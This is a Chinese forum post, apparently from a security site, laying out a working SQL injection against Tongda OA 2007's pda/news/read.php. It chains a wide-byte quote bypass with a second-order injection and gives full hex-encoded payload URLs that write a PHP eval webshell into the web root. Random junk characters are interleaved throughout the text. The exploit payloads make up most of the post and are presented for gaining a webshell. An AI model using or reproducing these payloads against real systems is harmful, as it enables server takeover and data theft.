目前测试通达OA2007版本
5 i# r4 {4 `0 G" u0 a
7 B" x+ a$ h( a+ Y Y
3 `# h. Z8 t1 i9 L; x) S' |9 K- xOffice Anywhere 2007 网络智能办公系统5 A! z$ ?1 Y3 r6 u8 B3 p/ w: Z
5 k# o( }* J: Y1 t! u& y5 j
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录../ k4 z0 \- `' {# D
1 J0 t. |( ^( G ]& \) m
; F, O0 s+ Z$ x8 E6 R2 }" d$ R
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的% w' s( o R8 Q
" m0 _1 F, T# }: ], Y; w# _
例如：SELECT * from USER where USER_ID='{$USERNAME}'
* n0 E( B( [. P: G& o9 G- P其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了8 S, l/ Q5 M8 f1 C
! p. H. V! y" ^. {这个时候我们是不是可以组合起来使用哪？
, U$ A6 D$ ^1 \% ^1 J ' H( Q6 A" w: Q' o& O
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
1 i! a( K% V, P) kunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10" v. v8 [) F; u1 u" A# p1 `
) F2 W3 l' k x9 G4 j# a" M9 l
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了2 x3 W$ w0 ~( a
4 w+ X! d# ?8 g+ g
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。0 g+ c% k! ^ `& f
; o$ P4 @ q- _
那么我们用字符串格式带入进行hex编码
0 _4 A) R- s) E/ |4 }
9 }, `% C1 M6 x% c%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
% t+ s: {! H8 ]6 E 6 {% u% [% [% b
测试ok，获取oa的webshell
; R# L1 \" O9 Q% a `+ C. A * O) N% x2 q; d
* w$ u6 y7 w- y4 K) D/ M% spda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%231 C2 L+ [: _$ W) g! \/ R
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对